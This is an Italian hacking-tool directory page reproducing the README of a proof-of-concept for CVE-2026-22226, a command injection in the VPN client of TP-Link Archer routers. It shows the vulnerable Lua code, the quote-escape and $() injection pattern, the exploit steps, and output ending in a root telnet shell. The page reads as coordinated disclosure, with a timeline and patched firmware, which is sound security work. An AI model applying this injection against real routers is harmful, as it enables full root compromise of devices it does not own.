Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22226 — Prova di concetto per la CVE-2026-22226 | Kitploit
Strumenti/GitHubGitHub/lucasvanhaaren/cve-2026-22226
Sicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WirelessPenetration TestingCommand and Control
GitHublucasvanhaaren/cve-2026-22226

CVE-2026-22226

Prova di concetto per la CVE-2026-22226

Vedi Repository
111 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2026-22226

Proof of Concept per CVE-2026-22226

Iniezione di comandi OS lato LAN autenticata nel client VPN dei router Wi-Fi TP-Link Archer


Riepilogo della vulnerabilità

Il controller del client VPN salva la descrizione della voce controllata dall'utente (des) nella configurazione UCI con una regex di validazione debole. Quando la voce viene successivamente riletta (durante la modifica nella WebUI), get_ovpn_data() inserisce des in un comando shell tra virgolette passato a os.execute() senza alcuna sanitizzazione :

root@kitploit:~
-- get_ovpn_data() in vpn.lua

file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)

Il carattere virgoletta singola (') supera la regex di validazione, sufficiente per uscire dalle virgolette della shell e iniettare comandi tramite la sostituzione $(). Un campo des impostato su '$(COMMAND)' trasforma il comando in :

root@kitploit:~
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit

Notare che l'output del comando non viene mai restituito nella risposta HTTP, quindi l'iniezione è cieca. Per questo serve un canale out-of-band (qui lo script PoC avvia un server telnetd per ottenere una shell interattiva).

Prova di concetto

[!Note] Ho testato questo script solo su un TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), ma probabilmente anche altri dispositivi Archer sono vulnerabili.

Questo PoC segue questo processo :

  • Autenticarsi a LuCI come admin
  • Caricare un file di configurazione .ovpn fittizio
  • Inserire una voce del client VPN con un campo des alterato, uscendo dal contesto tra virgolette singole e iniettando il payload tramite una sostituzione di comando
  • Attivare get_ovpn_data() rileggendo la voce, che passa il des alterato a os.execute()
  • Rimuovere la voce VPN alterata (ciò consente di rieseguire l'exploit in seguito)

[!Warning] Lo sfruttamento di questa vulnerabilità porta all'esecuzione di comandi OS come root sul router (compromissione completa del dispositivo), aggirando la validazione dell'input des tramite il carattere virgoletta singola consentito.

Utilizzo

Le dipendenze Python sono dichiarate inline nello script, quindi puoi eseguirlo direttamente con un moderno gestore di progetti Python, oppure installarle manualmente con pip :

root@kitploit:~
# using pipx
pipx run poc.py
# using uv
uv run poc.py

# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
  • imposta IP, credenziali e payload di destinazione in poc.py

  • esegui lo script :

root@kitploit:~
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
  • interagisci con il server telnetd avviato :
root@kitploit:~
$ telnet 192.168.0.1 1337

BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux

Cronologia

  • 2026-02-18 : Vulnerabilità segnalata a TP-Link, con un report dettagliato e uno script proof of concept
  • 2026-03-25 : TP-Link ha riconosciuto il report e ha indicato che il processo poteva richiedere fino a 90 giorni
  • 2026-05-13 : TP-Link ha richiesto 30 giorni aggiuntivi, che abbiamo accettato
  • 2026-05-16 : Assegnato CVE-2026-22226, che traccia lo stesso bug segnalato sul BE230 da un altro ricercatore pochi giorni prima ; data di divulgazione fissata al 2026-07-22
  • 2026-06-04 : Rilasciato il firmware corretto per AX73 (v1.3.1)
  • 2026-07-22 : Divulgazione pubblica

Riferimenti

  • CVE-2026-22226
  • Advisory di sicurezza TP-Link
Scarica lo strumento